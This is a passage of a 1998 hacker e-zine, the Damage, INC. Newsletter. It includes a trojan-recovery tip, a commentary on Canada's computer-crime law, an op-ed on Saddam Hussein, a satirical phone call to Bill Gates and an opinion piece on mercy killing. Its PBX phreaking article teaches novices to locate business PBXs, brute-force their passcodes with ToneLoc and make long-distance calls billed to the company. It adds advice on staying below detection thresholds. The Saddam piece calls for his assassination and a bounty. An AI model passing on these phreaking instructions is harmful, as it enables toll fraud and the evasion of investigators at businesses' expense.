encounter because FDISK has corrected +them (if you followed my instructions properly). Allow Norton Disk Doctor to +repair errors to the Media Descriptor Byte, FAT Tables, files etc. Once Norton +Disk Doctor has completed repairs, you may have recovered all of the data... or +you may have to look for your backup disks. It all depends on what type of +damage the trojan did. + +Damage, INC. has found that the best results are obtained from this technique if +the trojan hasn't damaged the hard drive's directory structure. Obviously, it +makes it much easier for Norton Disk Doctor to recover the FAT Tables etc. Good +luck, and be sure to make backups of all of your critical data. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Bill C-17: The Thought Police are here. + +Disclaimer: +I was not able to obtain an up-to-date copy of the Criminal Code of Canada. I +found an old copy on the Electronic Frontier Foundation of Canada's web site. +I manually added the Bill C-17 (35th session) amendments by referring to the +copy I got from the Government of Canada web site. I also removed french +definitions in section 342.1 since they are useless. If there is any +misinformation, the above sources are responsible for it. + +I will show you sections 342.1 and 342.2 of the Criminal Code. Section 342.1 +deals with "illegal" computer usage. The altered section 342.1 is listed below. +Bill C-17 additions will be denoted with the prefix [C-17]. + + Unauthorized use of a computer + + 342.1 (1) Every one who, fraudulently and without colour of right, + + (a) obtains, directly or indirectly, any computer service, + +In one sense, this "anti-hacking" law is a fucking joke. However, since it is +so intentionally vague, and the Code's definition of `computer service' is so +ambiguous, it is more than enough to send you to the cop shop and beyond. + + (b) by means of an electro-magnetic, acoustic, mechanical or other device, + intercepts or causes to be intercepted, directly or indirectly, any function of + a computer system + +This section is extremely vague and unclear. However, I'll attempt to explain +it according to my own understanding of what is written. It's illegal to +directly or indirectly obtain access to any computer service (ISPs etc.) by +using any "device". By device, it sounds like they are referring to electro- +magnetic card readers, using a fake or stolen/fraudulent credit card (carding), +uses an acoustic (listening device/bugs etc.) to get accounts or any other +device that enables them to intercept any information relating to the function +of a computer system. Basically, you can't do shit without it being an illegal +act. As for the mechanical, any boxes, taps, etc. are illegal to use directly +or indirectly. Even if you aren't intentionally trying to do that, it is still +considered to be illegal according to the above section 342.1(b). + + (c) uses or causes to be used, directly or indirectly, a computer system with + intent to commit an offence under paragraph (a) or (b) or an offence under + section 430 in relation to data or a computer system, or + +If anyone intends to gain illegal access to a computer system, they can get +burned for it. This section is the bane of wannabe hackers that don't know what +the fuck they are doing. They don't gain access to a computer system, but can +potentially face the same penalty that a real hacker would. + +Section 430 deals with damaging computer data to make it unintelligible, in part +or fully. Haha. Section 430 was once typed into an auto-message by a 519 sysop +in an extremely pathetic attempt to intimidate Damage, INC. All it did was make +us shake our heads... and that intimidated him. ;-) + + [C-17] (d) uses, possesses, traffics in or permits another person to have + access to a computer password that would enable a person to commit an offence + under paragraph (a), (b) or (c) + +Yes, you read this correctly... it is a criminal offence to possess a password +that could be used to enable a person to commit an offence listed above. Hell, +wouldn't that include every Internet user and BBSer? Fuck the laws created by +Canada's "Inner Party." You can be branded a criminal by having the *means* to +commit an offense. It is because of these laws that the encryption of sensitive +data such as passwords is extremely important...if not critical. + +If two friends share a computer password it makes them both "criminals." The +first friend who owns the account would be busted under 321.1(d), and the other +friend that uses the account is charged under 321.1(a). Both are subject to the +same potential penalty listed below. + + is guilty of an indictable offence and liable to imprisonment for a term not + exceeding ten years, or is guilty of an offence punishable on summary + conviction. + +If you were convicted of anything above, you could be put in jail for ten years +if the judge wanted to "make an example out of you" in order to "deter others." + +Below are the definitions to the various terms in section 342.1. Unfortunately, +I don't have the space to criticize each term individually. It isn't a surprise +to me that these definitions are needlessly cryptic. + + Definitions + + (2) In this section, + + [C-17] "computer password" means any data by which a computer service or + computer system is capable of being obtained or used; + + "computer program" means data representing instructions or statements that, + when executed in a computer system, causes the computer system to perform a + function; + + "computer service" includes data processing and the storage or retrieval of + data; + + "computer system" means a device that, or a group of interconnected or related + devices one or more of which, + + (a) contains computer programs or other data, and + + (b) pursuant to computer programs, + + (i) performs logic and control, and + + (ii) may perform any other function; + + "data" means representations of information or of concepts that are being + prepared or have been prepared in a form suitable for use in a computer system; + + "electro-magnetic, acoustic, mechanical or other device" means any device or + apparatus that is used or is capable of being used to intercept any function of + a computer system, but does not include a hearing aid used to correct subnormal + hearing of the user to not better than normal hearing; + + "function" includes logic, control, arithmetic, deletion, storage and retrieval + and communication or telecommunication to, from or within a computer system; + + "intercept" includes listen to or record a function of a computer system, or + acquire the substance, meaning or purport thereof. + + [C-17] "traffic" means, in respect of a computer password, to sell, export from + or import into Canada, distribute or deal with in any other way. + +Section 342.2 is listed below. This section is another Bill C-17 addition. + + 342.2 (1) Every person who, without lawful justification or excuse, makes, + possesses, sells, offers for sale or distributes any instrument or device or + any component thereof, the design of which renders it primarily useful for + committing an offence under section 342.1, under circumstances that give rise + to a reasonable inference that the instrument, device or component has been + used or is or was intended to be used to commit an offence contrary to that + section, + + (a) is guilty of an indictable offence and liable to + imprisonment for a term not exceeding two years; or + + (b) is guilty of an offence punishable on summary + conviction. + +This is yet another disturbing section of the Criminal Code. It is a conspiracy +to make it a criminal act to possess or share knowledge that could be used to +commit an offense under 342.1. The only way a person could get off is to +attempt to prove that a person charged under 342.1 didn't get the means to +perform the "criminal act" from them. Also, what is a "instrument, device or +component?" under this section? A h/p/a/c/v/t BBS? The Damage, INC. +Newsletter? A conversation intercepted by Big Brother and the Thought Police? +It all depends on a judge's interpretation of 342.2. + +Did you notice the words "without lawful justification or excuse" at the +beginning of section 342.2? My interpretation of that phrase is this is a +loophole for the police. They can "make, possess, sell, offer for sale or +distribute any instrument or device" in order to access a suspect's computer +system, etc. + +Section 342.2(2) (not listed) pertains to the forfeiture of "instruments or +devices" that were used under subsection (1). In the name of "Her Majesty," +the police can use a convict's equipment, or have an auction to finance their +next staff party. Of course that is in addition to the two year prison +sentence. + +This concludes our look at Criminal Code section 342. It is much more than +busting a hacker that gets caught. It is a conspiracy to imprison all of us +"dissidents" that have the means and knowledge to commit an offense under 342.1 +or 342.2. Busting a 16 year-old kid under section 342 is one thing, but they +can't stop intelligent, experienced hackers. That is the fact that they are +attempting to coverup in a lame attempt to make computer service providers +(like ISPs) feel "secure." Intimidation doesn't work Big Brother! ;-) + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +Saddam Hussein: A greedy, defiant dictator: + +The Gulf War ended many years ago, yet Saddam Hussein is still in power. He +not only controls Iraq and its people, he's still considered to be a powerful, +influential leader in the Middle East. Saddam Hussein continues to make +threats against the United States and is as defiant as ever. Hussein won't +comply with the U.N. resolutions and is blocking the weapons inspection teams. +Some are calling for an assassination of Hussein. They want Clinton to issue +the order to kill Saddam. Others are advising that a military strike is needed. +A final showdown seems inevitable. + +Obviously, Hussein is an enemy and a threat to the world that cannot be ignored +by other nations. He still has biological and chemical weapons hidden in Iraq. +His willingness to use them can't be questioned, since he used mustard gas +against his own people in the past. We also know that he has Anthrax (an +estimated 400 kg, one gram can kill millions), vast quantities of VX nerve gas, +Botulinum (a potent toxin that paralyzes the victim) and Aflatoxin. Hussein +has the ability to produce more Anthrax etc. He's not stockpiling chemical +and biological weapons for nothing. Hussein intends to unleash them against +his enemies. The most likely scenario would be for him to target a U.S. city +and use terrorists to deliver the weapons. In other words, he wouldn't just +launch a SCUD missile or attack through any obvious means. Saddam Hussein knows +that he doesn't have the military power to defend against or defeat the U.S. +with conventional weapons, so he's developed other methods. + +Personally, I don't think that Clinton is strong enough to follow through and +take out Hussein's ability to wage war. He has enough problems of his own +with his presidency. I don't want this article to be all about weapons, the +possibility of air strikes and military action against Iraq etc. though. The +main reason that I wanted to write this article is to describe Hussein's greed, +corruptness and defiance. The mass media just isn't doing a good enough job of +exposing Saddam Hussein so that people can see his true colors. + +Hussein has been reported to own at least 17 different palaces in Iraq. He +hoards the profits that are made from exporting oil (Iraq's only real natural +resource). His people have been hurt more by him than by the sanctions against +Iraq. The Iraqi people were poor before the Gulf War, and they'll remain that +way as long as their corrupt leader Saddam Hussein is in power. Of course, +the Iraqi's fear Hussein and are forced to participate in public rallies of +support, as well as being human shields and protect him. Hussein is an +extremely paranoid dictator that moves constantly from place to place, uses +body doubles, uses chemical analyzers on his food before eating, has killed +many close associates, brother in-laws and many others. He uses fear to make +sure nobody will try to assassinate him. Hussein also has his own security +force. Several coup attempts have been made since 1991, but all of them have +been stopped. Basically, Hussein will do anything in order to stay in power. +He'll kill anyone that opposes him. He's willing to watch his own people starve +while he is driven around in expensive Mercedes cars from palace to palace. +Saddam is a very greedy man that has spent billions of dollars on himself. He +profits from everything that is sold in Iraq. + +Iraq's Deputy Prime Minister Tariq Aziz (Hussein's personal media spokesman +would be a more suitable title) was quoted as saying "After seven years of +sanctions, you get desperate...another wave of missiles makes no difference to +the Iraqi people or the Iraqi government." That's Saddam Hussein's defiance +speaking, since Aziz is just one of his puppets. Hussein doesn't give a fuck +if his people are bombed. He'll be hiding in one of his concrete bunkers, safe +and sound with a smile on his face. + +Baghdad is plastered with posters of Saddam Hussein. His use of propaganda +is legendary and should be the classic model for all dictators. "BUSH IS +CRIMINAL" is written under a mosaic of former President Bush on the marble floor +of the al-Rasheed Hotel in Baghdad. Inside is a sign that reads "DOWN DOWN +AMERICA. USA COUNTRY OF TERRORISM". Hussein loves slogans that bash the +United States, but then why does he promote terrorism? Why does he use Iraqis +as human shields? Why does he force them to chant and praise him? Why can't +he allow free elections? It's because he is greedy, corrupt and afraid. There +can be no other answer. He's driving his country towards another war, in which +Iraq cannot win. He knows that, but he's willing to sacrifice thousands of +lives for nothing. Saddam Hussein is a defiant, insane dictator that will stop +at nothing to prove himself to the world. He's been on a huge power trip for +years now. The only way to stop him is to kill him. That is what should be +done. That is what must be done before he's allowed to use his weapons of mass +destruction. He's already managed to get support from several countries +(France, Russia, China), so it's up to the United States to take him out. In my +opinion, a large bounty should be offered for Hussein's head. Money talks and +greed can be used to eliminate greed for the common good. Now is the time to +end his reign of greed and corruption. It is time to send a message to the +world that defiant dictatorships won't be tolerated anymore. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +H/P INFORMATION AND NEWS - {NEWS} +Phreaking information on PBXs: + +This article will discuss the basics of PBXs and is intended for newbie phreaks +to read and learn from. PBX is an acronym for Private Branch eXchange. From +this point on, I will refer to them as PBXs for simplicity. They are quite +common in most area codes. Obviously, some exchanges will have more PBXs than +others since they contain a lot of businesses that use them. Most large (and +some small) businesses use them because it eliminates the need for many incoming +phone lines. The PBX has extensions that can be located in various offices +throughout a building. Have you ever worked or been in an office with phones +that have numbered buttons? Some are lit up and others aren't in use. Usually, +you have to press one of the extension buttons, press 9 and then dial out. +Most PBXs have passcodes that are 4+ digits. They can be hacked by ToneLoc, +another code hacker or manually. They aren't the same as extenders. I'm not +even going to discuss 1-800 extenders, 950s or any LD carriers in this article. +However, you can use a PBX to call ld which is what they are most commonly used +for. Unlike 1-800 extenders, many PBXs don't have ANI (Automatic Number +Identification) so they're relatively safe to hack and use if you know what you +are doing. First, phreaking safely involves more than just downloading a copy +of ToneLoc and scanning 1-800-XXX-XXXX from home like a stupid lamer. :) +You should start off by finding some local PBXs. This doesn't require a lot of +knowledge to do. You could do some social engineering if you don't want to +spend hours scanning for tones. For example, many stores like WAL-MART etc. +have a PBX system. They're also great places to use for scanning 1-800s, but +I'll save that for another article though. Anyways, if you're standing alone +by a phone in WAL-MART take a good look at it. If the phone number is written +on the card, write it down. If the extension buttons are labelled, write those +numbers down. Try dialing out. Usually that requires dialing either a 9, * or +# before the number you want to call. It's how you get a dial tone. Some PBXs +need the passcode before you can try to dial out. Others need a valid passcode +entered after you dial 9, * or #. PBXs aren't all the same. There are many +different types that you will need to learn about. Just as, you'll have to +determine the number of digits the passcode is before you attempt to hack it. + +The best way to do that is to experiment with the PBX by hand dialing it from a +phone. If it's a 1-800 PBX, you can use a pay phone. If it's a local PBX, just +use a phone at a store or dial from home through a diverter. Make sure you're +using a good diverter by checking it with an ANI first. You can also call the +extensions of PBXs. For example, if you are in WAL-MART and have access to a +phone you can push a button or dial the extension number. The ways in which to +do that vary. Try dialing "100" or "#100". Or remotely, dial ACN+XXX-XXXX then +"100" or whatever extension you want. The first is how the employees call from +desk to desk. The second is how you can call someone directly at their desk if +you know their extension number. It's fairly simple. I'm sure you've seen +commercials on TV that give a 1-800 number and an extension to talk to a sales +rep or operator number. That's just an example. 1-800 PBXs, Voice Message +Systems etc. are very prevalent these days with companies and are easy to find +on packages, in magazines etc. + +Businesses use PBXs to save money and to make things more convenient and +efficient for their employees. For example, if Joe Lamer works at a company +and he needs to make long distance business calls from home at night... he can +dial out through the company's PBX and the ld will be billed to the company. +That way, he doesn't have to pay for making business calls from home, use a +calling card, or go through the hassle of getting his phone expenses paid for +each month. (ie, the company doesn't have to go through his phone bill every +month and repay him for the ld business calls he's made). Basically, it makes +things simpler. This not only benefits Joe Lamer, but also us phreaks. We can +find the PBX, hack it, and use it to call ld. :) If you do find and hack a +local PBX, don't abuse it by making hundreds of ld calls. Even if they don't +have ANI and don't trace you, it is best to use the PBX sparingly. That way, +you won't get caught and it will last (won't change, nobody will notice, they +won't get ANI etc.) In other words, don't make 1,000 ld calls per month using +a PBX to different area codes all over the world. Make a few calls through the +PBX per month and it won't get noticed. That way, you won't be detected and +will be able to call ld for free using it. There are also some other things +that you should keep in mind. For example, use ToneLoc cautiously when scanning +and hacking PBXs. If you're trying to hack a 5 digit passcode, don't allow +ToneLoc to make 1,000 attempts in one session/night. Don't scan or hack +sequentially either. Don't be paranoid, just eliminate any obvious methods and +use common sense when hacking or phreaking. If you're desperate and want to +do something like scan 1-800s from home, hand dial using a phone. Pick random +numbers. Look for different tones, ringbacks, dial tones or anything that gives +a unique result. You might find a few VMBs, ANIs, extenders etc. Write down +all of the numbers you dialed and work on hacking the useful ones later. Alter +the amount of time between your dials and limit yourself to calling ten 1-800s +or so in a night. That makes it less suspicious. Don't use any patterns while +dialing that can be picked up. Use as much randomization as possible. If you +try to scan too many 1-800s at a time, you'll get busted eventually. Avoid +calling the 1-800s again that are of no use to you. It's also a good idea to +divide the numbers you want to scan with another phreak that you trust and work +together. That way, you don't have to scan for quite as long, can get just as +many codes and it's safer. Extenders usually tell you what to do like "Enter +your passcode", as do some diverters. Some are vague and don't give you as many +prompts and instructions. Use your imagination, logic and be creative. If you +already have some phreaking experience, try using what has worked for you in the +past in order to hack them. Listen to the tones and beeps carefully. They can +give you hints as to what is required (passcode, ACN, the order, how long the +passcode is). Usually you're given a few seconds more than required to enter a +passcode. So, that's how you can determine the amount of digits. Many +extenders will give an error message "That passcode is invalid." PBXs can vary +since there's more than one type. That makes it difficult to explain everything +in one short article. I won't discuss access levels, admin, digital switches +etc. in this article, nor will I give information about specific PBX systems. + +There are some major differences between extenders and PBXs. Many extenders are +1-800s and have ANI, or can only call certain area codes or exchanges. That can +be limiting if the extender only reaches your own area code or an exchange in +it. Most PBXs can usually reach any area code. They can be used to call +outside of your area code, to different countries, or the entire world. Some +have call block enabled to prevent 1-900 numbers etc. from being dialed, but +other than that PBXs are generally far reaching. :) + +Once you have a PBX, have a valid passcode and are ready to use it there are +a few precautions that you should take. If your codes are stored in a text +file, encrypt it. Don't keep pieces of paper containing codes lying around. +Also, don't post codes in public message bases on boards, sell them, give them +out to everyone you know to use etc. That is, unless you want the code to +stop working or even better, get busted by the cops. More than likely, I will +write about PBXs again in a future issue of the Damage, INC. Newsletter. There +is just too much information to cover in a single article...and I don't want +to overwhelm the newbies. Hehe. + +In summary, this should give you the basics of PBXs and get you started. I'd +like to thank BLACKENED for suggesting that I write this article and for giving +me some ideas and inspiration. Perhaps I will share some of my phreaking +experiences with readers too. I also want to write about VMBs etc. (some have a +PBX). If you have any suggestions, leave me Email on AJFA. If it relates to +h/p, then I'll probably decide to use it. Then everyone that wants to know that +information and reads my article will benefit. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +Another Interrogation of Billy Gates: The saga continues. + + + = BLACKENED = Billy Gates + = Blackie Lawless = Receptionist + = Shatazar = Micro$oft Lackey + + + - (Dialing 1-800-MS-SUCKS then #LAME for Billy Gates' extension). + + - Hello? This is Microsoft HQ... Miss Nicholas speaking. Please state +your business and I'll try to assist you. + + - This is Damage, INC. I demand to speak with Billy Gates immediately. +He knows who we are, so don't try to push the security panic button or +stonewall us... like you usually do. + + - Yes sir. I'll put you through to Mr. Gates immediately. + + - Hahaha... gotta like the fear in her voice. + + - Billy Gates speaking, What do you want me to do today? + + - This is Damage, INC. and we want to cheapshot you... today and everyday. +Hahaha. How'd you like reading our last interrogation of you? + + - Oh, it's you Mr. Blackened. I thought my security would stop you from +disturbing me from my plans and my "vision" to take over the world. I didn't +enjoy being interrogated and humiliated. Unfortunately, my multi-million +dollar security force couldn't track you guys down so I could destroy you all. + + - Destroy Damage, INC.? Hahaha! Billy, you must be fucking dreaming +again. at Gates. Your "security" (said very sarcastically) is a joke. +I'm calling through your 1-800-MS-SUCKS PBX. You don't even have an ANI. +If you try to trace my call... you won't be successful since I'm calling +through a 1-800-MS-BLOWS diverter anyways. ;) Your vision is to fill your +pockets with as many zombie dollars as possible. That's the extent of your +lame plan to take over the world. + + - This is Blackie Lawless.. Billy boy. Haha. You probably didn't expect +Damage, INC. to call you using teleconferencing. I've got a few questions for +"your lameness". How do you like the court's decision to stop you from +including Micro$hit Explorer with Windoze 95/98? What are you going to do +now Billy? + + - Ah, er, uhm, well Mr. Lawless, you don't have a very nice attitude, and +you don't mince words... a quality in which I don't share in. As for the +Explorer, I thought I could fight the US Government and I assumed they would +back down. However, when they started fining me and taking away precious +Microsoft Monies, it ate me alive. I decided to revert to my cowardly, +conniving ways and beat a hasty retreat. I'll hide in the shadows, and will +try to sneak Explorer in a few years down the road when the zombies aren't +looking. + + - Hahaha. Damage, INC. will be around to stop you though. Just as, all +of your neighbours know that Micro$hit sucks... now that it's spray painted +on your precious lawn at your Seattle "retreat". We'll do anything in our +power to make people aware of your schemes and scams... and take money away +from you at every opportunity. By the way, your little Micro$oft Network is +currently down. You better get your "internet experts" working on the +servers. Haha. They'll soon find out that there's a nice, stealthful virus +that is infecting them... courtesy of Damage, INC. ;) + + - Haha. Yeah, and it's too bad you don't like my attitude Billy. That's +really too fucking bad. It's also a shame that most of Micro$oft's software +in Chicago has been infected as well. ;) + + - Yeah Gates, you pathetic weasel. This is Shatazar of Damage, INC. Your +totally outclassed and outnumbered by Damage, INC. If you are afraid of losing +$1 million per day, you'll be really done in when Damage, INC. destroys you. + + - What? You bad guys vandalized my artificial cybergrass lawn with +computer controlled growth mechanisms? You meanies! And the Microsoft Network +is damaged? That is nothing new. My experts lack the tremendous vision that +I have. Plus I don't have the money to invest in better servers, so they'll +have to try to recover from your attack. I still have some faith in my well +paid lackeys. As for the people in Chicago getting infected software, that +doesn't mean anything. Windows 95 is preprogrammed with a life cycle, so that +my zombie customers will by new version after new version without question. +They keep giving me money for such tremendously graphical software. As for my +money, I need it so I couldn't afford the fine. I'll have to take my chances +against Damage, INC. I can always buy my way out. Tehehe. + + - Listen you fucking geek, I told you the last time that you ain't seen +nothin' yet. I meant exactly what I said. You won't recover from our +attacks. Your paid lackies are no match for Damage, INC. Winblows 95 is just +and overrated, inefficient, hard drive hogging, memory wasting piece of +shit... that crashes daily. It's programmed in Visual Basic for fuck sakes. +Take your chances? What the fuck are you talking about? Do you think that you +can play the odds or go with the odds? Hahaha. + + - Mr. Gates, I've just received an important memo. Microsoft's stock has +just fallen over 10 points in the stock exchange. The rest of the stock +market seems oblivious to our crash and is doing quite well. Could it be that +Damage, INC. is involved in some way? (conversation heard in the background). + + - Hahaha! I heard that! ;) Damage, INC. is *definitely* involved. Our +plan is working perfectly... and soon Micro$oft stock will be worthless. I +love it. + + - I warned you Gates. Now what do you have to say Billy? Are you going +to spew more rhetoric and mince words? Hahaha. + + - Yeah Gates, how do you like them `apples.' Damage, INC. did a `Job' on +you. Hahaha. + + - Ohnonono! What has happened to my company, built on influence and +deceit? My vision has been abandoned by the blind masses! No longer can I +dream of having Windows on every computer screen, cell phone, and toaster! +Why? Why has it all gone wrong? Why has Damage, INC. destroyed Microsoft? I +just wanted to make an honest living. Without my money, I can no longer bully +computer distributors to put Microsoft products in all systems. All I am is a +college drop out!!! I have no skills other than influencing and being greedy +beyond all measure! + + - Sorry to interrupt you Mr. Geek... errr.. I meant Mr. Gates. We've +been flooded with Email messages, concerning the huge drop in Microsoft stock. +It's almost worthless now, and many stockholders are sending angry, threatening +messages addressed to you. I have been trying to reply to them all in a feeble +attempt to calm them down... and brainwash them into believing that Microsoft's +stock is still "on top". However, I simply can't keep up! It's insane! +They're all panicking and selling as fast as they can... Is this the end of the +world? What should I do? I need help. Please help! Mr. Gates, give me +instructions. I'll be your lackey until the end. You can trust me not to +leave your side... but I don't know what to do. This has *never* happened +before! Who or what could cause this? + + - Hahahaha. Damage, INC. is responsible. ;) + + - Hahaha. Our plan is working. Micro$oft will be stopped. Micro$oft +is in panic mode. Soon it'll be done in. I can't wait for its final +destruction... Hehe. + + - Haha. This is hilarious. Gates has been crushed under the weight of +his own greed and ego. His head has been cut off, let's enjoy watching him +run around. ;-) + + - NO! This can't be the end! Lackey, tell all callers that our systems +are based on Microsoft Windows and they have all crashed! They'll understand, +they all experience it from time to time and keep coming back for more... but +why not now? What am I to do? Without my monopoly and wealth I am nothing! +What has Damage, INC. done to me? I'll give you all anything... EVERYTHING in +order to reverse the destruction of my vision... of the future of the world! + + - Sir, with all due respect there's nothing that I can do. Your vision +won't help fix this situation. Wake up! Quit dreaming Bill! We're in +serious trouble... What should I do? The Email is still pouring in... and +Microsoft stock is still falling. It looks like the end. I assigned one +hundred lackies to respond to Email... and gave them a list of excuses to +choose from. That'll only hold them off temporarily though. Some of our +previous supporters are rioting and destroying Microsoft HQ. I advise you to +go into the fortified concrete bunker... Your own survival depends upon you +listening to my advice. Sir, please, take shelter before the angry mob +overwhelms us and kills you. + + - Haha! I've been waiting for this day for a long time. I'm just happy +to be a part of Micro$oft's destruction. + + - I can just picture you Billy... running for shelter... scrambling for +your very fucking pathetic life. You sicken me. You didn't heed my words +when we last spoke and now you're going to have to pay the price! Hahahaha. + + - Yeah Billy, go hide in the shadows once more. You can run, but you +can't hide you pathetic little geek. + + - I, er, uhm, (Gates is in panic mode) will get it all back! I will fight +and influence my way back `on top.' Then I'll pay for the best men in the +world to track Damage, INC. down. You guys are dangerous meanies! You have +destroyed the world... a world in which I would be the Big Brother instead of +a small, insignificant loser that I truly am. Lackeys! Sell me out of +Microsoft! Let everyone fend for themselves, for I have no loyalty to anyone +by myself! + + - Run sir run! Quickly... Quit rambling... and get to the bunker! It's +imperative that you listen. Damage, INC. is just trying to make sure you stay +on the phone until the masses can infiltrate our security and rip you to +shreds. (In a desperate cry) -- Hurry! Let's get out of here. Follow me... + + - Hahahahaha! (A collective laugh from Damage, INC. is heard +from great distances). + + - That's right Gates. Run Billy run. Haha. Hide in your bunker. We'll +find you no matter what. You won't have to try to track us down, because we +are gonna hunt you down. :) + + - Hahaha. Your fucking lackies will eventually abandon you Billy. Once +they become as greedy as you are, they will stab you in the back. That is, +if Damage, INC. doesn't nuke you first. I will patiently await the day that I +can finally say "Stick a fork in Billy, he's done in." ;) Until then... hide +in your concrete shelter like the pathetic coward that you are. I hope you +cry your eyes out over every penny that you've lost. Start throwing a tantrum +and pout in the corner. I'm shaking my head at you Gates. Think about that +while you're trying to fend off the rats that Damage, INC. infested your filthy +bunker with fucker. Hahaha. . + + +LETTERS TO THE EDITOR - {LETTERS} + +The message below was written by Fatal Vision on ...AND JUSTICE FOR ALL. I +decided to include it and reply in the Damage, INC. Newsletter so that every +reader is able to read it. This is your forum for feedback, so send us your +letters. + + +Msg # : 153 of 154 Area : Damage, INC. Releases +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +From : Fatal Vision Date : Fri Dec 26 1997 +To : All Time : 1:09 pm +Title : Damage, INC Newsletter +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +The Damage, INC Newsletter issue # 4 has got to be the best one Damage, INC +has released yet. It could really help newbie's like me learn more and put +there knoledge to practice.. I like and read every article that you guy's +realse. It is funny, and fun to read, and that's what it's all about for me, +I dont like reading boring INFO, the way you guy's present the articles makes +me want to read on, and not leave until I've read the *whole* Newsletter.. +Again, I can't say how much your newsletters help the newbies not just in +this area code, but *any* area code out there. I would like to see more +phreaking articles. mabey experiences, tips,wwhat phreaking is all about, +how to make a test phone, or a lineman's handset. What you can do with +bell truck's, houses etc. What you can hope to find in a bell truck, what you +should *look* for in a bell truck etc. This info could be included in an +article. As well, I really enjoyed this month's h/p news and info (Written +By Blackie Lawless) and the VIRUS DETECTION method (Written By Blackened) + +The only section that I have not read yet is the CONSPIRACIES AND COVERUPS +section written by Shatazar. But I'll read that some time soon, and get back +to you on what I think about it.. + +I thought I would give you guy's my opinion in a public base instead of +leaving Blackened Email. As you can all see I am very impressed with Damage, +INC and think they are doing a great job with the newsletter.. I hope all +of you relize Damage, INC. puts *alot* of time into EVERY article, writing, +editing, and producing it. Its not just something that is slapped together +Just to get it done.. Its something that takes alot of thought and time to +produce every month. I also hope you relize that the information in the +DI's newsletter is very informational, and I hope you take the time to read +and leave feedback like i just did. + +To Damage, INC - Keep up the excellent work.. + +your's truely +fatal vision +------------------------------------------------------------------------------- + +Editor - Blackie Lawless and I appreciate the feedback man. Why didn't you + read the CONSPIRACIES AND COVERUPS section and comment on it? It + contains some valuable information that could easily affect you. + That article should be of interest to anyone that's involved in h/p. + We're glad that the information we provide is useful to newbies. + As for articles on phreaking, we plan to do that. ;) Blackie Lawless + will probably continue to share his knowledge, tips, experiences etc. + in that area with readers. We do put a lot of time, thought and effort + into every article. Thanks for the compliments and feedback... and + continue to read the Damage, INC. Newsletter man. We hope that you + enjoy this January issue. + + +OBJECTIVE OPINIONS - {OPINIONS} +Robert Latimer; victim of cowardly inaction. + +Robert Latimer was a Saskatchewan farmer that had a 12 year old daughter Tracy, +who suffered from cerebral palsy. In 1993, he placed Tracy in a truck, which he +rigged so that the cab would fill with carbon monoxide. He freed Tracy from a +life of pain and total reliance on others. + +I do not believe that Robert Latimer killed Tracy just because she had cerebral +palsy. Tracy Latimer endured a life of suffering and torture. She endured many +operations in vain attempts to alleviate the endless pain. And as she +approached puberty, her already twisted body would have encountered rapid +growth. Her agony would have increased dramatically. Robert Latimer could no +longer stand by as his daughter struggled through each day. I would have done +the same thing if I was standing in his shoes. + +Latimer was arrested in November 1993 and was charged with first degree murder +(In Canada, maximum punishment is life with no chance of parole for 25 years). +He was convicted on November 16, 1994. The Saskatchewan Court of Appeal upheld +the conviction on July 18, 1995. + +The case went to the Supreme Court of Canada. On February 6, 1997, the judges +overturned the conviction, because the crown lawyers questioned potential jurors +about their views on religion, abortion and mercy killing. In other words, +crown prosecutors tampered with the jury. The court ordered a retrial. + +During the second trial, the jury found Latimer guilty of second degree murder. +However, when the jury found out the minimum sentence (10 years) they could +issue, some were appalled. They felt that such a sentence was to harsh, and +recommended a minimum sentence of one year. Justice Ted Noble agreed with the +jury. + +In early December 1997, Robert Latimer was sentenced to one year in jail plus +one year house arrest on his Saskatchewan farm. In handing out this sentence, +Noble used the Charter of Rights of Freedom to Latimer's benefit. He ruled that +to sentence him to a minimum of 10 years for a "homicide that was committed for +caring and altruistic reasons" would be cruel and unreasonable punishment. +However, he also said that a jail term is needed to deter others from committing +a similar crime. In other words, Latimer is being made an example out of, just +like a vicious criminal. Since Noble's decision is unprecedented, an appeal by +the crown would not be surprising. And so the neverending process called the +"justice" system will keep on going. + +Because of this controversial decision, the media has initiated extensive +discussions and debates. As always, citizens have picked up on that, so now the +recent sentencing of Robert Latimer is currently a hot topic. + +Special interest groups are coming out of the woodwork. There are those that +claim to support the disabled, others that believe in mercy killing. There +are Javert (cop in Les Miserables) clones that feel that the stated punishment +in the law is paramount, and that circumstances are irrelevant. While others +(albeit not many) actually believe in fairness and justice. I've had a few good +laughs (and stomach churnings) watching zombies squirm when TV beat reporters +walked up to them and asked for their opinion on the Latimer case. + +However, I've learned that an enlightened person will step away from the narrow +scope of the public debate over this issue and look at the big picture. I ask +you who wasn't mentioned above? Who is too cowardly to deal with the issue of +mercy killing? The answer is the group of corrupt, self-serving people that are +responsible for the confusion. The Government of Canada. + +The leaders of "society" bears a huge amount of responsibility for this whole +ordeal. They label important issues like mercy killing as "political suicide." +They are too cowardly to do anything about it. It is because of their inaction +that Robert Latimer was branded a "murderer" when he ended his daughter's +terrible suffering. It is because of their inaction that Robert Latimer has +lost his livelihood, his savings, and most importantly his freedom. + +The consequences of the government's inaction are broad. If the bastards in +Ottawa are too scared to deal with the issue, why don't they allow the decision +to be made by the suffering person and his or her family? That would be a +logical step, but remember we don't live in a democracy. It is repulsive to +know that the government has so much control that a suicide attempt is +considered to be a criminal act. :( Instead, the government has left it up to +the "justice" system to decide Canada's policy on mercy killing. Obviously, all +that judges can base their decisions on are laws like the Criminal Code. +Therefore, mercy killers are considered murderers by default. + +Is that fair or just? "Society" doesn't like it too much when "people take the +law into their own hands." On the other hand, the government doesn't have *any* +statement or opinion on the matter. Because of the gross misconduct of the +government, women are allowed to kill their unborn babies, yet choosing to +assist a loved one end his or her life can put you in prison from 10 years to +life. + +Unfortunately, mercy 